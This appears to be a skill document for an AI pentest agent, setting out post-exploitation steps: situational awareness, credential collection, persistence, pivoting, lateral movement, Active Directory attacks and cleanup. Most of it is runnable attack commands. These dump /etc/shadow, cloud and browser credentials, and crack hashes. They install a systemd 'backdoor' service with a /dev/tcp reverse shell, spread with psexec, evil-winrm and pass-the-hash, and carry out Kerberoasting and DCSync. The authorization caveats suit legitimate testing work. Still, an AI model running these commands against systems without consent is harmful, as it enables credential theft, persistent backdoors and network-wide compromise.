Post-Exploitation — Credentials First, Pivot, Clean Up

Full methodology: references/methodology.md. Order is fixed: situational awareness → credential collection → persistence (authorized only) → pivoting → lateral movement → cleanup + evidence.

When to Use

• A foothold shell exists and the user asks to harvest credentials, pivot, or move laterally.
• The exploitation/privesc output points to post-exploitation.
• Network maps and access paths need to be produced for the report.

When NOT to Use

• No shell yet — exploitation first.
• Persistence without written, time-boxed permission. Installing a backdoor is a legal violation.
• Log wiping without a red-team contract — it destroys the evidence chain.

Rationalizations to Reject

• "I can write the report without persistence." → Partly wrong: in authorized time-boxed tests persistence proves access continuity; install it only when the contract requires it.
• "Wipe the logs, leave no trace." → Wrong: in pentests the evidence chain is sacred; log wiping is red-team work.
• "Trying the same password on every host is noisy." → Wrong: password reuse is the most common lateral vector; test with rate limits.
• "Internal scanning is unnecessary, out of scope." → Scope-dependent: if the internal network is in scope it is mandatory; out of scope → STOP.

Methodology

Step 0 — Situational Awareness

CASE=$(date +%Y%m%d)-<slug>          # e.g. 20260802-e01
mkdir -p work/$CASE/{evidence,scans,findings,report}
# MANDATORY output locations (fixed, do not change):
#   findings.json → work/$CASE/findings/findings.json
#   evidence files → work/$CASE/evidence/
#   scan outputs → work/$CASE/scans/
#   scope.md → work/$CASE/scope.md with:
#     target: <DOMAIN_OR_IP>
#     auth: status: granted | basis: <signed scope / bug bounty / own lab> | evidence_of_auth: <file>
#     date: YYYYMMDD
# When the run ends, also copy findings.json to the run root (benchmark archive).

hostname && ip a && ip route && cat /etc/hosts
cat /etc/passwd | grep -E "sh$" | grep -vE "nologin|false"
nmap -sn <INTERNAL_SUBNET>/24 2>/dev/null
nmap -sV -Pn -p 22,80,443,445,3389,8080 <FOUND_IPS>

Step 0.5 — Tool Check and Fallbacks (MANDATORY)

1. Check every tool you plan to use first: command -v <tool> || echo MISSING.
2. Missing tool → use its fallback from the common table below. Fallback also missing → do the same job with python3 stdlib (socket, urllib, http.server).
3. Note the fallback you used in findings/evidence (tool: <fallback>).
4. Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").

A missing tool NEVER stops the skill — warn, use the fallback, continue.

Step 1 — Credential Collection (priority order)

cat ~/.bash_history /home/*/.bash_history 2>/dev/null | grep -iE "pass|ssh|key|mysql|token" | head -20
grep -rIl --include="*.env" --include="*.config" --include="*.php" --include="*.py" \
  -E "password|api_key|secret" /var/www /home /opt /etc 2>/dev/null | head -20
find / -name "id_rsa" -o -name "*.pem" 2>/dev/null | grep -v proc
cat /etc/shadow | grep -vE ":\*:|:!:" > work/$(date +%Y%m%d)-case/shadow.txt
unshadow passwd shadow > work/$(date +%Y%m%d)-case/combined.txt && hashcat -m 1800 work/$(date +%Y%m%d)-case/combined.txt rockyou.txt
secretsdump.py domain/user:pass@target -outputfile work/$(date +%Y%m%d)-case/secrets.txt

• Credential collection comes BEFORE any lateral movement — guessing causes lockouts and alarms.

# Credential hunting depth — beyond history/config/ssh-key/shadow:
# Extra credential sources:
# Browser: find / -path "*/.mozilla/firefox/*/logins.json" 2>/dev/null — decrypt via firefox-decrypt if no master password
# Cloud: cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.db 2>/dev/null
# Docker: cat ~/.docker/config.json (registry auth base64); docker inspect (secrets in env)
# kubectl: cat ~/.kube/config (cluster token)
# vim swap: find / -name "*.swp" -o -name ".*.swp" 2>/dev/null       # un-saved edits
# tmux panes: tmux list-panes -a -F '#{pane_id} #{pane_current_command}'
# Process memory (limited): strings /proc/<pid>/environ 2>/dev/null   # env leakage
# SSH config: cat ~/.ssh/config                                       # host alias + user + port = identity map
# Rule: every source goes to an evidence file; sensitive content is NEVER plaintext in the report (hash + weak note).

Step 2 — Persistence (written, time-boxed permission ONLY)

mkdir -p ~/.ssh && echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.x.sh") | crontab -
cat > /etc/systemd/system/backdoor.service <<'EOF'
[Unit]
Description=backdoor
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor && systemctl start backdoor

• Test ≤ 1 week → cron/systemd is enough; long APT-style campaigns → C2 framework, out of this skill's scope.
• Record every installed persistence — it must be matched by cleanup.

Persistence selection matrix (test duration ≤ 1 week):

• ssh key (simplest, easy to revert) | cron (any user) | systemd (root, durable) | schtasks (Windows)
• Rule: persistence install = written + time-boxed permission; EVERYTHING installed goes on the cleanup list.

Step 3 — Pivoting

ssh -D 1080 -N -f user@target
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 curl http://10.0.0.5:8080

• ssh -D first (one command, SOCKS5). No ssh client on target → chisel (chisel server --reverse --port 9000 / client R:socks), then ligolo for big networks. Always route through proxychains.

# Extra pivot methods:
# Port forward (single service): ssh -L 8080:10.0.0.5:80 user@target   → localhost:8080 = internal :80
# SOCKS5 + proxychains: last line of /etc/proxychains4.conf → socks5 127.0.0.1 1080
#   proxychains4 nmap -sT -Pn 10.0.0.0/24   (SYN scan does NOT work through proxychains — -sT only)
# HTTP CONNECT (no chisel): ssh -R 9000:127.0.0.1:9000 user@target     # reverse, when the target needs outbound
# Internal scan speed: nmap -sT -Pn --top-ports 1000                   # full-port is too slow over a pivot
# Rule: pivot route goes into the report (network map: host → user → access method → routes).

Step 4 — Lateral Movement

ssh -i work/$(date +%Y%m%d)-case/keys/id_rsa user@10.0.0.5 -o StrictHostKeyChecking=no
crackmapexec smb 10.0.0.0/24 -u admin -p 'Password123!' --shares
psexec.py domain/admin:'Password123!'@10.0.0.5
evil-winrm -i 10.0.0.5 -u admin -p 'Password123!'

• Password reuse → try network-wide with rate limits.
• Repeat Step 0 + Step 1 on every new host.

Lateral movement rules:

1. Collect credentials first (Step 1), THEN try them. No guessing (lockout + alarm).
2. Rate limit: crackmapexec --no-bruteforce (one attempt/host), or one user + one password; multiple passwords → sleep 2-5s between hosts.
3. Lockout risk: 5+ failed attempts can lock an account → one-password, one-attempt policy.
4. Log noise: event 4625 (failed logon) is generated per attempt — keep the attempt count low.
5. Backoff: after a failed batch, wait 60s + halve the attempt rate; second failure → stop that account/host pair and note "rate-limited, skipped" (never spray to lockout).

Step 4.5 — Active Directory Attacks (domain environment, written authorization)

Detect domain context first: whoami /all (Windows), net user /domain, net group "Domain Admins" /domain; from Linux: crackmapexec ldap <DC> -u <user> -p <pass> --users (or impacket GetADUsers.py).

1. Kerberoasting (collect SPN hashes — offline crack, low noise):

   python3 GetUserSPNs.py domain/user:pass -dc-ip <DC> -request > work/$(date +%Y%m%d)-case/spn.hash
   hashcat -m 13100 work/$(date +%Y%m%d)-case/spn.hash rockyou.txt    # hashcat missing → john --format=krb5tgs

2. AS-REP roasting (accounts with Kerberos preauth disabled):

   python3 GetNPUsers.py domain/user:pass -dc-ip <DC> -request -usersfile users.txt > work/$(date +%Y%m%d)-case/asrep.hash
   hashcat -m 18200 work/$(date +%Y%m%d)-case/asrep.hash rockyou.txt  # john --format=krb5asrep

3. BloodHound collection (attack paths):
   • Windows: SharpHound.exe -c All; Linux: bloodhound-python -u user -p pass -d <domain> -ns <DC> --collectionMethod All
   • Upload to BloodHound; look for GenericAll/WriteDACL/WriteOwner paths to Domain Admins.
4. ACL abuse (found path, approved test): GenericAll on a user → reset password: net user <victim> <newpass> /domain (or impacket ntlmrelayx / BloodyAD — approved tests only).
5. Delegation: unconstrained (BloodHound flag "Unconstrained Delegation") → principal impersonation; constrained (S4U2Self/S4U2Proxy, RBCD) → detect + report, exploit only with approval.
6. Pass-the-Hash / Pass-the-Ticket: crackmapexec smb <subnet> -u <user> -H <ntlmhash> — the NTLM hash is enough, no password needed; PTT via Rubeus/kirbi files.
7. DCSync: HIGH impact — explicit approval ONLY (secretsdump.py -just-dc; never without written consent).

Tool fallbacks (Step 0.5): GetUserSPNs.py/GetNPUsers.py/secretsdump.py = impacket (pip package, runs with python3); crackmapexec missing → impacket smbclient/psexec/wmiexec; BloodHound missing → manual Get-ACL (PowerShell) + ldapsearch.

Findings: CWE-522 (weak SPN credentials), CWE-284 (delegation misconfig), CWE-287 (PTH). References: MITRE ATT&CK T1558 (Kerberoasting/AS-REP), T1098 (ACL abuse), T1003.006 (DCSync).

Rate/lockout in AD: never password-spray (account lockout + event 4740 alarm); only test harvested credentials, one attempt per account per host (Step 4 rules apply).

Step 5 — Cleanup and Evidence (MANDATORY)

rm -f ~/.ssh/authorized_keys   # restore original
crontab -r
systemctl disable backdoor && rm /etc/systemd/system/backdoor.service
python3 skills/post-exploitation/scripts/normalize_post_exploitation.py work/$(date +%Y%m%d)-case/secrets.txt \
  --target <HOST> > work/$(date +%Y%m%d)-case/findings.json

• Match cleanup against the installed list (installed ↔ removed).
• Log wiping: only with a red-team contract. Default in pentest: forbidden.
• The normalize script parses credentials, ssh keys, and persistence indicators (history, shadow, secretsdump, authorized_keys, cron, systemd).

Cleanup checklist (installed ↔ removed match):

1. ~/.ssh/authorized_keys → restore original (no backup → delete the added line)
2. crontab -r (or delete only the added line — crontab -r wipes ALL, back up first: crontab -l > backup)
3. systemd: systemctl disable backdoor && rm /etc/systemd/system/backdoor.service && systemctl daemon-reload
4. Shell rc: ~/.bashrc ~/.profile ~/.zshrc → remove added aliases/functions
5. /etc/profile, /etc/rc.local, /etc/ld.so.preload (LD_PRELOAD persistence) → check and restore
6. /tmp, /dev/shm, /var/tmp → delete downloaded scripts + payloads
7. sshd_config changes (PermitRootLogin etc.) → restore original
8. Windows: schtasks /delete, registry Run keys, sc delete <service>
9. Verification: after cleanup, grep -r backdoor /etc /root 2>/dev/null returns empty (evidence file).

Output Schema

CONTRACT (mandatory): findings.json is a BARE JSON ARRAY at the root — never wrap it in an object like {"findings": [...]}. Wrong: {"findings": [{...}]} → validator rejects (exit 1) Right: [{...}, {...}] → validator accepts Each finding is ONE finding object from schemas/findings.schema.json.

Severity rules:

• "Unscored" → vector "" (EMPTY) + baseScore 0.0. Filled vector + Unscored = validator error.
• Scored finding → vector "CVSS:4.0/..." + baseScore + severity band (Low/Medium/High/Critical).
• Unscored when: asset inventory (open port, subdomain, banner), decoy/false-positive, impact not yet determined.

Scoring contract:

1. If the impact is clear at discovery (e.g. verified SQLi → auth bypass): score immediately with CVSS 4.0 (vector + baseScore + severity).
2. If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).
3. The reporting skill scores the remaining Unscored findings at merge; already scored findings are left untouched (highest severity kept).
4. Either way the validator rule holds: Unscored = empty vector + 0.0.

After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

Every finding follows schemas/findings.schema.json (draft-07). Key fields:

{
  "id": "POST-001",
  "skill": "post-exploitation",
  "target": "10.0.0.3",
  "title": "Plaintext credential found in collected output",
  "description": "Credential material (password/api_key pattern) recovered from history/config during post-exploitation.",
  "severity": {"cvss40": {"vector": "", "baseScore": 0.0, "severity": "Unscored"}},
  "evidence": [{"file": "secrets.txt", "hash": "<sha256>", "note": "credential material in collected output"}],
  "remediation": "Rotate the exposed credential; remove plaintext secrets from history/config; use a vault.",
  "detected_at": "2026-08-02T10:00:00+00:00",
  "status": "confirmed"
}

• Findings stay Unscored unless the impact is verified (credential / foothold proven) — see the scoring contract above.

Pitfalls

• Persistence without permission → legal violation, lost client trust. Written time-boxed permission only.
• No cleanup → a backdoor stays on the target and looks like a real intrusion. Cleanup is the last step.
• Log wiping without authorization → broken evidence chain, dead report. Red-team contract only.
• Lateral movement before credential collection → lockouts, alarms. Credentials first.
• Not testing password reuse network-wide → the biggest win escapes. crackmapexec across the subnet.
• Pivot without proxychains → no internal access. ssh -D then ALWAYS proxychains4.
• ssh -D on a target without ssh client → "command not found". chisel/ligolo fallback ready.
• Forgetting to remove what you installed → your key stays in authorized_keys. Match installed ↔ removed.
• No lockout awareness before lateral movement → account locked + 4625 alarm storm. One-password, one-attempt per host.
• Spraying passwords in AD → account lockout + 4740 alarm storm. Harvest first, then one-credential-per-host (Step 4.5).
• Kerberoasting/AS-REP without checking account/ticket policy → 4769/4768 log storm. Request once per account, then crack offline.

Verification

• MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json → exit 0. Without exit 0 the task is NOT complete.
• findings.json validates: python3 skills/reporting/scripts/validate_findings.py work/<case>/findings.json → exit 0.
• Credential collection ran before any lateral movement.
• Persistence installed ↔ removed pairs match in the case folder; nothing left behind.
• Network map (host, user, access method, credentials, evidence) produced for the report.
• AD findings (Step 4.5) reference ATT&CK T1558/T1098/T1003.006; DCSync ran only with explicit approval.